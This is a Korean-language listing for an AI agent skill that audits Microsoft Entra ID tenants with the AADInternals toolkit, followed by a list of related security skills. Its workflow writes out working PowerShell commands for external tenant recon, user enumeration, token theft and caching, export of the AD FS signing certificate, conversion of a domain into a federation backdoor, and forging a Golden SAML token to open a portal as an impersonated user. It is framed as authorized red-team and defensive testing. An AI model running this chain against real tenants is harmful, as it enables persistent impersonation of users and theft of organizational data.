Communitygithub.com

AADInternals를 이용한 Entra ID 감사

AADInternals PowerShell 툴킷을 사용하여 Microsoft Entra ID 테넌트 정찰, Microsoft API 액세스 토큰 획득, 페더레이션/AD FS 백도어 테스트(골든 SAML, T1606.002)를 수행하여 방어적 검증을 돕습니다. 공인된 Entra ID/Microsoft 365 레드팀 평가 중 외부 공격 표면을 매핑하거나 AD FS 서명 인증서가 골든 SAML에 저항하는지 확인하는 데 사용하세요.

AADInternals를 이용한 Entra ID 감사란 무엇인가요?

이 스킬은 AADInternals PowerShell 툴킷을 활용해 Microsoft Entra ID 테넌트의 보안 태세를 종합적으로 감사합니다. 인증되지 않은 외부 정찰(검증된 도메인, 테넌트 ID, 페더레이션 유형 식별)부터 Microsoft Graph, Exchange Online 등 다양한 Microsoft API에 대한 액세스 토큰 획득까지 수행합니다. 가장 중요한 기능은 페더레이션 백도어(골든 SAML) 경로를 테스트하는 것으로, 권한 있는 테스트 환경에서 테넌트 사용자를 가장하는 SAML 토큰을 위조할 수 있습니다. 이 스킬은 MITRE ATT&CK T1606.002(웹 자격 증명 위조: SAML 토큰) 기술에 매핑되며, 레드팀 평가 및 방어적 검증 모두에 필수적인 통찰력을 제공합니다. 공인된 테스트 환경에서만 사용해야 하며, 허가 없이 사용하는 것은 불법입니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/auditing-entra-id-with-aadinternals

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

AADInternals를 이용한 Entra ID 감사은(는) 무엇을 하나요?

법적 고지: 이 스킬은 공인된 보안 테스트, 레드팀 작업 및 교육 목적으로만 사용됩니다. AADInternals는 SAML 토큰을 위조하고 테넌트 사용자의 영구적인 가장을 허용하는 페더레이션 백도어를 설치할 수 있습니다. 소유하고 있거나 명시적인 서면 승인(작업 규칙)을 받은 테넌트에 대해서만 사용하십시오. 무단 사용은 컴퓨터 사기 및 남용 방지법 및 이에 준하는 법률을 위반합니다.

개요

AADInternals는 Dr. Nestori Syynimaa(Gerenios / Secureworks)가 작성한 Microsoft Entra ID(이전의 Azure AD), Azure AD Connect 및 Active Directory Federation Services(AD FS)를 위한 가장 포괄적인 공격/관리용 PowerShell 툴킷입니다. 모든 cmdlet은 AADInt 접두사를 가지며, 인증되지 않은 외부 정찰, 모든 Microsoft API에 대한 액세스 토큰 획득, 디렉토리 조작, AD FS/PTA 공격, 그리고 이 툴킷이 가장 유명한 기술인 페더레이션 백도어를 포함합니다. 이 백도어는 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 경로를 악용하여 페더레이션된 도메인의 IssuerUri를 제어하는 공격자가 임의의 사용자에 대한 SAML 토큰을 발행할 수 있게 합니다. 이는 MITRE ATT&CK **T1606.002(웹 자격 증명 위조: SAML 토큰)**에 매핑되며, SolarWinds(골든 SAML) 침해 사건에 사용된 동일한 기술 클래스입니다.

툴킷은 필요한 권한 위치에 따라 기능을 분리합니다. Invoke-AADIntReconAsOutsider와 Get-AADIntLoginInformation은 자격 증명이 필요 없습니다. 공개 엔드포인트(getuserrealm, OpenID 구성, autodiscover)를 쿼리하여 검증된 도메인, 테넌트 ID, 페더레이션 유형, 브랜드, 데스크톱/Seamless SSO 활성화 여부를 확인합니다. Get-AADIntAccessTokenFor* cmdlet은 Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management 등에 대한 토큰을 획득하고 선택적으로 캐시하여 후속 cmdlet이 재사용할 수 있도록 합니다. 전역 관리자(또는 동기화된 AD Connect 계정) 권한이 있으면 디렉토리 비밀을 읽고, 사용자를 조작하며, 페더레이션 백도어를 설정할 수 있습니다.

이 스킬은 방어적 검증 관점에서 AADInternals를 구동합니다. 외부 공격자가 무엇을 알 수 있는지, 낮은 권한의 토큰이 어디까지 접근 가능한지, 페더레이션/AD FS 구성이 골든 SAML을 허용하는지 확인한 후 증거 및 강화 권장 사항을 생성합니다.

사용 시기

  • 공인된 Entra ID / Microsoft 365 레드팀 또는 가정된 침해 평가 중
  • 자격 증명 공격 전에 외부 공격 표면(검증된 도메인, 페더레이션 유형, SSO)을 열거해야 할 때
  • 페더레이션 및 AD FS 토큰 서명 인증서가 골든 SAML로부터 보호되는지 확인해야 할 때
  • Microsoft 자사 API 전반에 걸친 토큰 획득 및 재생을 테스트해야 할 때
  • 탐지 체계를 구축 중이고(블루팀 Graph 로그 헌팅 스킬과 함께 사용) 실제 AADInternals 원격 측정이 필요할 때

전제 조건

  • ID 공격 및 페더레이션 백도어 테스트를 포함하는 서면 승인
  • PowerShell 5.1+ (또는 지원되는 하위 집합에서 PowerShell 7)가 설치된 Windows 호스트
  • 백도어/페더레이션 테스트: 대상 테넌트의 전역 관리자(또는 이에 상응하는 권한), 작업 규칙 내 범위
  • PowerShell 갤러리에서 모듈 설치:
    Install-Module AADInternals -Scope CurrentUser
    Import-Module AADInternals
    # 플랫폼 간 AsOutsider 전용 재구현(자격 증명 불필요)도 사용 가능:
    #   https://github.com/synacktiv/AADOutsider-py
    
  • SAML/WS-Federation, OAuth 토큰, Azure AD Connect에 대한 지식

목표

  • 인증되지 않은 테넌트 정찰 수행 및 검증된 도메인, 테넌트 ID, 페더레이션 유형 열거
  • Microsoft 자사 API에 대한 액세스 토큰 획득 및 캐싱
  • 인증된 토큰으로 사용자/그룹/역할 열거
  • 통제되고 승인된 방식으로 페더레이션 백도어 / 골든 SAML 경로 테스트
  • 노출 사항 문서화 및 강화 권장 사항 제공(토큰 서명 인증서 보호, 페더레이션 모니터링)

MITRE ATT&CK 매핑

ID기술이 스킬에서의 적용
T1606.002웹 자격 증명 위조: SAML 토큰ConvertTo-AADIntBackdoor + New-AADIntSAMLToken이 제어된 페더레이션 IssuerUri를 통해 임의 사용자에 대한 SAML 토큰을 위조합니다(골든 SAML)

관련 기술: T1087.004 계정 발견: 클라우드 계정(정찰), T1528 애플리케이션 액세스 토큰 도용(토큰 획득), T1556.007 인증 프로세스 수정: 하이브리드 ID(페더레이션/PTA 백도어).

워크플로

1단계: 인증되지 않은 외부 정찰

자격 증명이 필요하지 않습니다. 검증된 도메인, 테넌트 ID, 페더레이션 유형, 브랜드, SSO 상태를 식별합니다.

# 도메인에 대한 전체 외부 정찰(테이블 출력)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# 로그인/영역 세부 정보: 페더레이션 vs 관리형, AuthURL, 브랜드
Get-AADIntLoginInformation -Domain "target.com"

# 테넌트 GUID
Get-AADIntTenantID -Domain "target.com"

2단계: 외부 사용자 열거(선택 사항, 시끄러움)

GetCredentialType/autologon 엔드포인트를 통해 사용자 이름이 존재하는지 확인합니다.

# 후보 UPN 목록을 제공하여 존재 여부 테스트
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# 또는 여러 개를 파이프로 연결:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

3단계: 액세스 토큰 획득 및 캐싱

유효한 자격 증명(또는 대화형 프롬프트)으로 필요한 API에 대한 토큰을 얻습니다. -SaveToCache를 사용하면 이후 cmdlet이 토큰을 자동으로 재사용할 수 있습니다.

# Azure AD Graph(레거시 graph.windows.net) 토큰, 캐시됨
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

4단계: 인증된 디렉토리 열거

캐시되거나 획득된 토큰을 사용하여 디렉토리 개체를 읽어 권한을 매핑합니다.

# 전역 테넌트 정보(캐시된 AAD Graph 토큰 사용)
Get-AADIntTenantDetails

# 사용자 열거 및 권한 있는/동기화된 계정 확인
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

5단계: 페더레이션 / AD FS 구성 검사

테넌트가 페더레이션된 도메인을 사용하는지, 토큰 서명 키가 어디에 있는지 확인합니다. 이는 골든 SAML의 전제 조건입니다.

# AD FS 서버에 액세스할 수 있는 경우 토큰 서명 인증서 내보내기
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# AD FS 구성/암호화 키 읽기(AD FS 상자 또는 DKM을 통해)
Get-AADIntADFSConfiguration -Server adfs.target.com

6단계: 페더레이션 백도어 / 골든 SAML(승인된 경우에만)

알려진 IssuerUri를 설정하여 도메인을 백도어로 변환한 후 해당 도메인의 ImmutableId를 사용하여 대상 사용자에 대한 SAML 토큰을 위조합니다. 명시적 승인이 있는 통제된 테넌트에서만 수행하십시오.

# 3단계에서 캐시된 전역 관리자 토큰(AAD Graph) 필요
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 출력에는 토큰 위조 시 재사용할 IssuerUri가 포함됩니다.

# 사용자를 가장하는 SAML 토큰 위조(ImmutableId는 Get-AADIntUsers에서 가져옴)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# 위조된 토큰을 사용하여 가장된 사용자로 포털 세션 열기
Open-AADIntOffice365Portal -SAMLToken $saml

7단계: 노출 문서화 및 강화

정찰 결과, 도달 가능한 토큰/API, 백도어/골든 SAML 경로 성공 여부를 기록합니다. 권장 사항: AD FS 토큰 서명 인증서 보호(HSM, 제한된 DKM 액세스), 새 페더레이션 트러스트 변경/추가에 대한 경고, Set-DomainAuthentication/Set-MsolDomainFederationSettings 모니터링, 가능한 경우 관리형(클라우드) 인증으로 마이그레이션.

도구 및 리소스

리소스목적출처
AADInternalsEntra ID / AD FS 공격 및 관리 툴킷https://github.com/Gerenios/AADInternals
AADInternals 문서Cmdlet 참조 및 기술 문서https://aadinternals.com/aadinternals/
AADOutsider-py플랫폼 간 AsOutsider 재구현https://github.com/synacktiv/AADOutsider-py
골든 SAML 배경페더레이션 백도어 기술 문서https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002웹 자격 증명 위조: SAML 토큰https://attack.mitre.org/techniques/T1606/002/

Cmdlet 빠른 참조

Cmdlet위치목적
Invoke-AADIntReconAsOutsider없음검증된 도메인, 테넌트 ID, 페더레이션 유형, SSO
Get-AADIntLoginInformation없음도메인에 대한 영역/로그인 세부 정보
Get-AADIntTenantID없음테넌트 GUID
Invoke-AADIntUserEnumerationAsOutsider없음사용자 존재 여부 확인
Get-AADIntAccessTokenForAADGraph자격 증명Azure AD Graph 토큰 (-SaveToCache)
Get-AADIntAccessTokenForMSGraph자격 증명Microsoft Graph 토큰
Get-AADIntAccessTokenForEXO자격 증명Exchange Online 토큰
Get-AADIntUsers토큰디렉토리 사용자 열거
ConvertTo-AADIntBackdoor전역 관리자도메인을 페더레이션 백도어로 변환
New-AADIntSAMLToken백도어사용자에 대한 SAML 토큰 위조(골든 SAML)
Open-AADIntOffice365PortalSAML 토큰가장된 사용자로 포털 세션 열기

검증 기준

  • 외부 정찰 완료; 검증된 도메인, 테넌트 ID, 페더레이션 유형 기록됨
  • 사용자 열거 테스트됨(또는 범위 외로 문서화)
  • 하나 이상의 Microsoft API에 대한 액세스 토큰 획득 및 캐싱됨
  • 인증된 디렉토리 열거 수행됨(사용자/역할, 동기화된 계정 기록)
  • 페더레이션 / AD FS 구성이 토큰 서명 키 노출에 대해 평가됨
  • 백도어 / 골든 SAML 경로가 승인된 통제된 테넌트에서 테스트되거나 범위 외로 문서화됨
  • 노출 사항이 구체적인 영향과 함께 문서화됨
  • 강화 권장 사항 제공됨(인증서 보호, 페더레이션 모니터링, 관리형 인증 마이그레이션)

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

관련 스킬